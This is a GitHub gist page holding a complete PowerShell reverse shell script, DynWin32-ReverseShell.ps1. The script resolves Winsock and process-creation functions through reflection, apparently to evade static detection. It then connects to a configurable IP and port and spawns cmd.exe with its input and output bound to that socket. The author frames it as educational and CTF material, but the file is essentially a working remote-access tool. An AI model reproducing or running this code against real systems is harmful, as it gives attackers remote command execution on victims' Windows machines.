Skip to content

Instantly share code, notes, and snippets.

@dannymas
Forked from qtc-de/DynWin32-ReverseShell.ps1
Created January 29, 2022 17:32
Show Gist options
  • Save dannymas/aaed8027a9e5c9337eae0272b38ebfe8 to your computer and use it in GitHub Desktop.
Save dannymas/aaed8027a9e5c9337eae0272b38ebfe8 to your computer and use it in GitHub Desktop.

Revisions

  1. @qtc-de qtc-de created this gist Jan 29, 2022.
    115 changes: 115 additions & 0 deletions DynWin32-ReverseShell.ps1
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,115 @@
    <#
    DynWin32-ReverseShell.ps1 is a reverse shell based on dynamically looked up Win32 API calls.
    The script uses reflection to obtain access to GetModuleHandle, GetProcAddress and CreateProcess.
    Afterwards it uses GetModuleHandle and GetProcAddress to resolve the required WSA functions
    from ws2_32.dll.
    This script should be used for educational purposes only (and maybe while playing CTF :D).
    It was only tested on Windows 10 (x64) and is probably not stable or portable. It's only
    purpose is to demonstrate the usage of reflective lookups of Win32 API calls. See it as
    just a silly experiment :)
    Author: Tobias Neitzel (@qtc_de)
    License: GPL-3.0 License
    #>

    $IP = "127.0.0.1"
    $PORT = 4444

    filter Get-Type ([string]$dllName,[string]$typeName)
    {
    if( $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals($dllName) )
    {
    $_.GetType($typeName)
    }
    }

    function Get-Function
    {
    Param(
    [string] $module,
    [string] $function
    )

    if( ($null -eq $GetModuleHandle) -or ($null -eq $GetProcAddress) )
    {
    throw "Error: GetModuleHandle and GetProcAddress must be initialized first!"
    }

    $moduleHandle = $GetModuleHandle.Invoke($null, @($module))
    $GetProcAddress.Invoke($null, @($moduleHandle, $function))
    }

    function Get-Delegate
    {
    Param (
    [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr,
    [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes,
    [Parameter(Position = 2)] [Type] $retType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('QM', $false).
    DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
    $delegate = $type.CreateType()

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
    }

    # Obtain the required types from the already loaded System.dll assembly
    $assemblies = [AppDomain]::CurrentDomain.GetAssemblies()
    $unsafeMethodsType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.UnsafeNativeMethods'
    $nativeMethodsType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.NativeMethods'
    $startupInformationType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.NativeMethods+STARTUPINFO'
    $processInformationType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.SafeNativeMethods+PROCESS_INFORMATION'

    # Obtain the methods: GetModuleHandle, GetProcAddress and CreateProcess
    $GetModuleHandle = $unsafeMethodsType.GetMethod('GetModuleHandle')
    $GetProcAddress = $unsafeMethodsType.GetMethod('GetProcAddress', [reflection.bindingflags]'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @([System.IntPtr], [string]), $null);
    $CreateProcess = $nativeMethodsType.GetMethod("CreateProcess")

    # Dynamically lookup the required WSA function addresses from ws2_23.dll
    $ConnectAddr = Get-Function "ws2_32.dll" "connect"
    $WSASocketAddr = Get-Function "ws2_32.dll" "WSASocketA"
    $WSAStartupAddr = Get-Function "ws2_32.dll" "WSAStartup"
    $CloseSocketAddr = Get-Function "ws2_32.dll" "closesocket"

    # Create delegate types for the dynamically looked up WSA function addresses
    $CloseSocket = Get-Delegate $CloseSocketAddr @([IntPtr]) ([Int])
    $WSAStartup = Get-Delegate $WSAStartupAddr @([Int16], [Byte[]]) ([Int])
    $Connect = Get-Delegate $ConnectAddr @([IntPtr], [Byte[]], [Int]) ([Int])
    $WSASocket = Get-Delegate $WSASocketAddr @([System.Net.Sockets.AddressFamily], [System.Net.Sockets.SocketType], [System.Net.Sockets.ProtocolType], [IntPtr], [UInt32], [Int]) ([IntPtr])

    # Call WSAStartup to initialize WSA and create a WSA socket
    $WSAStartup.Invoke(0x202, [System.Byte[]]::CreateInstance([System.Byte], 0x200))
    $hSock = $WSASocket.Invoke([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::IP, [IntPtr]::Zero, 0, 0)

    # Prepare the sockaddr_in structure in form of a byte array and use it to connect to the target
    [Byte[]] $ip = [System.BitConverter]::GetBytes([System.Convert]::ToInt32([ipaddress]::Parse($IP).Address))
    [Byte[]] $port = [System.BitConverter]::GetBytes([System.Convert]::ToInt16($PORT))
    [Array]::Reverse($port)
    [Byte[]] $buffer = 0x02, 0x00 + $port + $ip + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00

    $Connect.Invoke($hSock, $buffer, $buffer.Length)

    # Create instances of the STARTUP_INFORMATION and PROCESS_INFORMATION structures
    $startupInformation = $startupInformationType.GetConstructors().Invoke($null)
    $processInformation = $processInformationType.GetConstructors().Invoke($null)

    # Redirect stdin, stdout and stderr to the socket within of STARTUP_INFORMATION
    $safeHandle = [Microsoft.Win32.SafeHandles.SafeFileHandle]::new($hSock, $true)
    $startupInformation.dwFlags = 0x00000100
    $startupInformation.hStdInput = $safeHandle
    $startupInformation.hStdOutput = $safeHandle
    $startupInformation.hStdError = $safeHandle

    # Create a new cmd.exe process with redirected output as specified above
    $cmd = [System.Text.StringBuilder]::new("C:\\Windows\\System32\\cmd.exe")
    $CreateProcess.Invoke($null, @($null, $cmd, $null, $null, $true, 0x08000000, [IntPtr]::Zero, $null, $startupInformation, $processInformation))

    # Finally close the socket handle that is owned by the script
    $CloseSocket.Invoke($hSock)